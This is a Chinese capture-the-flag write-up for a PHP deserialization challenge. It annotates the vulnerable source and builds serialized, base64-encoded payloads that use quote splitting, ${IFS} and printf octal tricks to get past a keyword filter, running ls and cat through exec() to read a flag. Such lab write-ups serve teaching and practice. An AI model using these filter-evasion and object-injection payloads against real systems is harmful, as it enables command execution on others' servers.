web5-unseping (反序列化+waf()绕过+exec()函数)
一.整体思路:
post传参——>base64编码——>反序列化——>调用__wakeup()魔术方法——>执行waf()方法过滤——>调用析构方法()。
0.基础知识掌握
0.1.什么是反序列化?
大体意思为在 PHP 中,序列化和反序列化是通过 serialize() 和 unserialize() 函数实现的
0.2.waf()绕过
在这个waf里,\||&|;| |\/|cat|flag|tac|php|ls,\|对|转义,而每个符号之间用|分割,意为只要满足一个整体就会成立
0.3.php反序列化
大意为将序列化后的数据还原回来,php反序列化s是通过erialize() 和 unserialize() 函数实现
0.4.exec函数以及使用
exec()函数用于执行一个外部程序,语法为:exec(string$command[,array &$input[,int &$return_var]]);是用来调用linux命令的函数,exec()默认被禁止,需要自己手动先开启。首先要关掉安全模式safe_mode = off。然后再查看禁用函数列表,把exec去除,重启apache就ok。
基本语法:
- $command:要执行的命令,为字符类型,如$ip(ping ip)
- $output:执行后输出的结果,为数组类型
- $return_var:为命令执行后的返回状态,为int类型
0.5.construct函数以及绕过
当使用new关键字实例化一个对象时,该构造函数会自动调用,反序列化时类的构造函数(__construct)不会被执行
如何绕过:
- 反序列化时,类的构造函数即(__construct函数)不会被执行
0.6__destruct折构函数以及它的触发条件
折构函数只有在对象被垃圾收集器收集前(即对象从内存中删除之前)才会被自动调用,是一种垃圾回收机制。
触发条件:
- 主动调用:unset($obj): 调用unset函数将指向对象的变量删除
- 主动调用:$obj=NULL: 指向对象的变量被置为空,导致原对象无法引用
0.7命令执行的绕过方式
常见命令绕过:
- 空格的绕过:${IFS},例:cat${IFS}flag,显示为:cat flag
- '' : 单引号,例:c''at flag,显示为:cat flag,
- "" : 双引号,例如同上
- eg1:
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));这里的array("")固定数组搭配,所以双引号,这里的l和s之间有"",f和lag之间有"",并且中间用了${IFS}绕过空格- eg2:
cat flag_1s_here/flag_831b69012c67b35f.php,变为:
args=c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp。
解释:${printf${IFS}"\57"}
1.${...}:命令替换,执行括号内命令并返回结果
2.${IFS}:代替空格,实际执行printf "\57"
3.\57是/的八进制ASCII码,通过这些动态生成绕过码
1.首先了解代码意 : 我是小白,从阅读代码开始!!
<?php
highlight_file(__FILE__); #高亮显示当前文件源代码
class ease{ #case ease{...}定义名为ease的类
private $method; #要调用的方法名
private $args; #方法参数数组
#构造__construct函数
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
#构造__destruct函数
function __destruct(){
if (in_array($this->method, array("ping"))) { #这里的if用来检查method是否是准许的方法
call_user_func_array(array($this, $this->method), $this->args); #动态调用方法
}
}
#这里的ping 方法是危险点,直接将参数传递给exec()函数执行,存在命令注入风险
function ping($ip){
exec($ip, $result); #这里的exec(要执行的命令,命令执行结果)函数
var_dump($result);
}
#waf过滤方法:过滤了常见的敏感字符串(|,&,;,空格,/,cat,flag,tac,php,ls等)
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
#__wakeup魔术方法
function __wakeup(){
foreach($this->args as $k => $v) { #反序列化时对所有参数进行过滤
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf']; #通过post获取参数ctf
@unserialize(base64_decode($ctf)); #对ctf进行base64解码后反序列化
?>
二.真正的战争开始了,解题吧!少年!!
通过上面的解析,我们知道要反序列化拿到自己想要的数据,本题主要考代码审计和反序列化。
首先我们确定ctf参数是一个对象,我们把它定义为$a,从下面的代码开始分析:
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
在这个代码中,想要执行call这个函数必须满足条件,in_array是一个搜索函数,题目在ping数组中搜索ping,如果是ping,就执行call函数,而这个call函数是一个回调函数,下面对它进行解析一下:
[$this,$this->method]:$this表示当前对象($this)的某个方法,方法名由$this->method决定, 如:$this->method="ping",则调用$this->ping()
而$this->args:是一个参数数组,会按照顺序纯递给被调用的方法,如:$this->args=["test.txt",123]相当于:$this->ping("test.txt",123)
exec($ip, $result);//命令执行——>推出args数组一定含有ls ,cat 等字符串
//exec()函数执行第一个参数,并把结果放在第二个参数中
var_dump($result);//输出第二个参数
}
于是我们再根据这个代码进行反推,根据上面的讲解,我们知道ping为方法,args为具体的数组值,又因为后面又waf函数检测,所以我们需要绕过,绕过方法见基础知识。
于是我们构造playload代码:疑问来了,为什么要先用ls?这里利用的是exec($ip,$result)函数执行ls命令列出目录文件
<?php
class ease{
private $method;
private $args;
function __construct($method,$args){
$this->method = $method;
$this->args=$args;
}
}
$a = new ease("ping",array("l''s"));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
得到的playload:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:4:"l''s";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
页面底部显示为:
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
通过显示的文件,有两个文件,这里flag没有后缀,很可能是一个文件夹,于是对它ls一遍, args=array('l""s${IFS}f""lag_1s_here'),注意:这里的('')要用单引号,因为双引号会被解析为原来的,会报错。
<?php
class ease{
private $method;
private $args;
function __construct($method,$args){
$this->method = $method;
$this->args=$args;
}
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
得到的playload:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:24:"l""s${IFS}f""lag_1s_here";}}
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==
页面底部显示为:flag_1s_here/flag_831b69012c67b35f.php
最后得读取这串flag:cat flag_1s_here/flag_831b69012c67b35f.php,继续绕过,这里对/进行动态绕过:${printf${IFS}"\57"},详情见上。
整体:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
<?php
class ease{
private $method;
private $args;
function __construct($method,$args){
$this->method = $method;
$this->args=$args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b;
echo'
';
echo base64_encode($b);
?>
得到的playload:
O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:74:"c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp";}}
ctf=Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319
页面底部显示为:
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{8811bb168e5a378bb90030f0d93eedbb}" }
注意:传入的playload为post传入,推荐使用hackber,传入格式为:ctf=playload,下面附截图



浙公网安备 33010602011771号